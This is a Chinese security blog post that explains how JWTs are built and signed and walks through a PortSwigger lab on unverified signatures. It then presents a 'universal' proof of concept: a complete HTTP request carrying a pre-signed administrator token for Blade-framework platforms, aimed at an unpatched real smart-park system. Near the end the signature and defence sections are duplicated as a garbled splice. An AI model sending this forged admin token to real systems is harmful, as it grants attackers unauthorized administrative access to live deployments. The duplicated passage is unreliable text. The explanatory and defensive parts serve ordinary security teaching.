JWT原理解析与实战通杀(附带POC)

JWT原理解析与实战通杀(附带POC)

奉天安全团队(www.ftsec.cn)-Liku
奉天出品,必属精品。
转载请标明出处


JWT的原理

什么是JWT

JWT(JSON Web Token)是一种用于在各方之间作为JSON对象安全地传输信息的开放标准。信息可以被验证和信任,因为它是经过数字签名的。JWT通常用于身份验证和信息交换。

JWT由三个部分组成,用点号(.)分隔:

  1. Header(头部)
  2. Payload(负载)
  3. Signature(签名)

这三个部分分别进行Base64Url编码后,用点号(.)连接在一起构成一个JWT。

知识补充:Base64Url和Base64

Base64Url编码是Base64编码的一种变体,专门用于URL和文件名中,以避免特殊字符带来的问题。它与标准的Base64编码的主要区别在于字符集和填充字符。

  1. 字符集不同

    • 标准Base64编码使用字符+/
    • Base64Url编码使用字符-_,以避免URL中的特殊字符问题。
  2. 去掉填充字符

    • 标准Base64编码通常使用=作为填充字符,以确保编码后的字符串长度是4的倍数。
    • Base64Url编码则去掉了填充字符=,从而避免了URL解析中的问题。

Header

Header通常包含两个部分:签名算法和令牌类型。例如:

{
  "alg": "HS256",
  "typ": "JWT"
}

这个头部表示使用HMAC SHA-256算法签名,并声明这是一个JWT。

Payload

Payload是JWT的主体部分,包含声明(claims)。声明是有关实体(通常是用户)和其他数据的声明。声明分为三类:

  • Registered claims(注册声明)
  • Public claims(公共声明)
  • Private claims(私有声明)

例如:

{
  "sub": "1234567890",
  "name": "John Doe",
  "iat": 1516239022
}

Signature

签名部分用于验证消息在传输过程中是否未被篡改。签名是用header中指定的算法生成的,包括编码后的header、编码后的payload和一个密钥。例如,对于HMAC SHA-256算法,签名如下:

HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  secret
)

举例(JWT完整流程)

假设你现在有一个应用,需要用户登录后获取访问权限。

1. 用户登录

用户在登录页面输入用户名和密码,点击登录。服务器接收到登录请求并验证用户的凭证。

2. 生成JWT

如果用户的凭证(账号密码)正确,服务器将生成一个JWT。假如服务器将生成的JWT为:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

让我们详细分解这个JWT的生成过程,一共三个部分,每个部分被点号(.)截断

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

在这里插入图片描述

base64url解码一下得到

{
  "alg": "HS256",
  "typ": "JWT"
}

这个头部表示我们将使用HMAC SHA-256算法进行签名,并且这是一个JWT。

第二部分:Payload

eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ

base64url解码一下得到

在这里插入图片描述

{
  "sub": "1234567890",
  "name": "John Doe",
  "iat": 1516239022
}

这个负载部分包含了一些声明,比如用户ID(sub)、用户名(name)和签发时间(iat)。

第三部分:Signature

SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

第三部分签名的生成是由第一部分和第二部分组成的

我们使用密钥(secret)来生成签名。签名是使用以下方法生成的:

  1. 将编码后的Header和Payload用点号(.)连接在一起:

    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ
    
  2. 使用HMAC SHA-256算法和密钥secret对上述字符串进行签名:

    import hmac
    import hashlib
    import base64
    
    header_payload = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ"
    secret = "secret"
    signature = hmac.new(secret.encode(), header_payload.encode(), hashlib.sha256).digest()
    signature_base64 = base64.urlsafe_b64encode(signature).rstrip(b'=').decode()
    print(signature_base64)
    

    生成的第三部分签名是:

    SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
    

最后,将编码后的Header、Payload和生成的Signature用点号(.)连接在一起,形成完整的JWT:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

3. 返回JWT

服务器将生成的JWT返回给客户端。客户端可以将JWT存储在本地存储(Local Storage)或Cookie中。

4. 携带JWT进行请求

在用户登录后的每次请求中,客户端会在请求头中携带JWT,例如:

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

5. 服务器验证JWT

服务器接收到请求后,会验证JWT的签名是否正确。验证过程如下:

  1. 从JWT中提取出header和payload部分。
  2. 使用同样的签名密钥和header中的算法,重新生成签名。
  3. 将重新生成的签名与JWT中的签名进行比较,如果相同,则验证通过。

6. 响应请求

如果JWT有效且未过期,服务器处理请求并返回响应。

在线平台

JWT在线构造和解构的平台:
https://jwt.io/

在这里插入图片描述

JWT攻防

常见攻击方法

  1. 暴力破解签名密钥:攻击者可以使用暴力破解的方法猜测JWT的签名密钥。如果签名密钥比较弱,这种攻击可能会成功。
  2. 算法替换攻击:如果服务器在验证JWT时不严格检查头部的alg字段,攻击者可以将alg字段改为none,绕过签名验证。
  3. 伪造Token:如果服务器使用对称加密算法(如HS256),并且密钥泄露,攻击者可以使用密钥伪造有效的JWT。

靶场

靶场一:实验室:通过未经验证的签名绕过 JWT 身份验证 |网络安全学院 (portswigger.net)

在这里插入图片描述

根据题目要求得知,需使用账号+密码:wiener : peter登录,后访问/admin页面,根据要求删除carlos用户即可通关。

在这里插入图片描述

登录成功后,在bp里面看数据包,可发现JWT数据。

在这里插入图片描述

来这里解码一下JSON Web Tokens - jwt.io

在这里插入图片描述

发现Payload中当前登录用户为wiener。改包请求为/admin

在这里插入图片描述

意思就是只允许administrator访问

那将JWT数据中Payload的wiener修改成administrator后继续尝试请求。

在这里插入图片描述

在这里插入图片描述

/admin/delele?username=colos 删除用户

在这里插入图片描述

实战通杀(附带POC)

某智慧园区管理平台,因为还没有修复,这里就打码了。

在这里插入图片描述

一眼顶真,用的blade的框架,

在这里插入图片描述

poc:

GET /api/blade-user/info HTTP/1.1
Host: ***
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Blade-Auth: bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJ1c2VyX25hbWUiOiJhZG1pbiIsInJlYWxfbmFtZSI6IueuoeeQhuWRmCIsImF1dGhvcml0aWVzIjpbImFkbWluaXN0cmF0b3IiXSwiY2xpZW50X2lkIjoic2FiZXIiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwibGljZW5zZSI6InBvd2VyZWQgYnkgYmxhZGV4IiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwic2NvcGUiOlsiYWxsIl0sIm5pY2tfbmFtZSI6IueuoeeQhuWRmCIsIm9hdXRoX2lkIjoiIiwiZGV0YWlsIjp7InR5cGUiOiJ3ZWIifSwiYWNjb3VudCI6ImFkbWluIn0.RtS67Tmbo7yFKHyMz_bMQW7dfgNjxZW47KtnFcwItxQ

在这里插入图片描述

分析一下这个poc

解析JWT中的Header、Payload和Signature来了解其内容和含义。一步一步来分解和解释这个JWT。

1. 分离JWT的各个部分

JWT由三部分组成:Header、Payload和Signature,这些部分通过点号(.)分隔。给定的JWT是:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJ1c2VyX25hbWUiOiJhZG1pbiIsInJlYWxfbmFtZSI6IueuoeeQhuWRmCIsImF1dGhvcml0aWVzIjpbImFkbWluaXN0cmF0b3IiXSwiY2xpZW50X2lkIjoic2FiZXIiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwibGljZW5zZSI6InBvd2VyZWQgYnkgYmxhZGV4IiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwic2NvcGUiOlsiYWxsIl0sIm5pY2tfbmFtZSI6IueuoeeQhuWRmCIsIm9hdXRoX2lkIjoiIiwiZGV0YWlsIjp7InR5cGUiOiJ3ZWIifSwiYWNjb3VudCI6ImFkbWluIn0.RtS67Tmbo7yFKHyMz_bMQW7dfgNjxZW47KtnFcwItxQ

分离后得到:

  • Header:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
  • Payload:eyJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJ1c2VyX25hbWUiOiJhZG1pbiIsInJlYWxfbmFtZSI6IueuoeeQhuWRmCIsImF1dGhvcml0aWVzIjpbImFkbWluaXN0cmF0b3IiXSwiY2xpZW50X2lkIjoic2FiZXIiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwibGljZW5zZSI6InBvd2VyZWQgYnkgYmxhZGV4IiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwic2NvcGUiOlsiYWxsIl0sIm5pY2tfbmFtZSI6IueuoeeQhuWRmCIsIm9hdXRoX2lkIjoiIiwiZGV0YWlsIjp7InR5cGUiOiJ3ZWIifSwiYWNjb3VudCI6ImFkbWluIn0
  • Signature:RtS67Tmbo7yFKHyMz_bMQW7dfgNjxZW47KtnFcwItxQ

2. 解码Base64Url

使用Base64Url解码Header和Payload:

Header
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

解码后得到:

{
  "alg": "HS256",
  "typ": "JWT"
}
Payload
eyJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJ1c2VyX25hbWUiOiJhZG1pbiIsInJlYWxfbmFtZSI6IueuoeeQhuWRmCIsImF1dGhvcml0aWVzIjpbImFkbWluaXN0cmF0b3IiXSwiY2xpZW50X2lkIjoic2FiZXIiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwibGljZW5zZSI6InBvd2VyZWQgYnkgYmxhZGV4IiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwic2NvcGUiOlsiYWxsIl0sIm5pY2tfbmFtZSI6IueuoeeQhuWRmCIsIm9hdXRoX2lkIjoiIiwiZGV0YWlsIjp7InR5cGUiOiJ3ZWIifSwiYWNjb3VudCI6ImFkbWluIn0

解码后得到:

{
  "tenant_id": "000000",
  "user_name": "admin",
  "real_name": "管理员",
  "authorities": ["administrator"],
  "client_id": "saber",
  "role_name": "administrator",
  "license": "powered by bladex",
  "post_id": "1123598817738675201",
  "user_id": "1123598821738675201",
  "role_id": "1123598816738675201",
  "scope": ["all"],
  "nick_name": "管理员",
  "oauth_id": "",
  "detail": {
    "type": "web"
  },
  "account": "admin"
}

3. 分析解码后的数据

Header部分

Header部分指定了JWT的元数据:

  • alg:签名算法,这里是HS256(HMAC SHA-256)
  • typ:令牌类型,这里是JWT
Payload部分

Payload部分包含了JWT的实际数据,包含多个字段:

  • tenant_id: “000000” - 租户ID
  • user_name: “admin” - 用户名
  • real_name: “管理员” - 真实姓名
  • authorities: [“administrator”] - 权限列表,这里是administrator
  • client_id: “saber” - 客户端ID
  • role_name: “administrator” - 角色名
  • license: “powered by bladex” - 许可证信息
  • post_id: “1123598817738675201” - 职位ID
  • user_id: “1123598821738675201” - 用户ID
  • role_id: “1123598816738675201” - 角色ID
  • scope: [“all”] - 作用域
  • nick_name: “管理员” - 昵称
  • oauth_id: “” - OAuth ID
  • detail: {“type”: “web”} - 详细信息,类型为web
  • account: “admin” - 账号
Signature部分

Signature部分用于验证JWT的完整性和真实性。它是通过以下方式生成的:

  1. 将Header和Payload用点号连接起来:

    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJ1c2VyX25hbWUiOiJhZG1pbiIsInJlYWxfbmFtZSI6IueuoeeQhuWRmCIsImF1dGhvcml0aWVzIjpbImFkbWluaXN0cmF0b3IiXSwiY2xpZW50X2lkIjoic2FiZXIiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwibGljZW5zZSI6InBvd2VyZWQgYnkgYmxhZGV4IiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwic2NvcGUiOlsiYWxsIl0sIm5pY2tfbmFtZSI6IueuoeeQhuWRmCIsIm9hdXRoX2lkIjoiIiwiZGV0YWlsIjp7InR5cGUiOiJ3ZWIifSwiYWNjb3VudCI6ImFkbWluIn0
    
    
    
  2. 使用HMAC SHA-256算法和一个密钥对上述字符串进行签名,生成Signature。

Signature的计算需要密钥,而给定的JWT并未提供密钥,因此不能验证这个JWT的Signature部分。

没密钥!!! 下播

防御措施

  1. 使用强密钥:确保签名密钥足够强,难以被暴力破解。
  2. 严格验证算法:在服务器端严格验证alg字段,拒绝none算法。
  3. 使用非对称加密:使用非对称加密算法(如RS256),即使公钥泄露,攻击者也无法伪造JWT。
  4. 定期更换密钥:定期更换签名密钥以增加安全性。
  5. 设置适当的过期时间:设置合理的JWT过期时间,减少被盗用的风险。

ZWIifSwiYWNjb3VudCI6ImFkbWluIn0

  1. 使用HMAC SHA-256算法和一个密钥对上述字符串进行签名,生成Signature。

Signature的计算需要密钥,而给定的JWT并未提供密钥,因此不能验证这个JWT的Signature部分。

没密钥!!! 下播

防御措施

  1. 使用强密钥:确保签名密钥足够强,难以被暴力破解。
  2. 严格验证算法:在服务器端严格验证alg字段,拒绝none算法。
  3. 使用非对称加密:使用非对称加密算法(如RS256),即使公钥泄露,攻击者也无法伪造JWT。
  4. 定期更换密钥:定期更换签名密钥以增加安全性。
  5. 设置适当的过期时间:设置合理的JWT过期时间,减少被盗用的风险。

通过了解JWT的工作原理和常见的渗透手段,可以有效地加强JWT的安全性,防止信息泄露和未经授权的访问。

  • 8
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

是liku不是里库

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值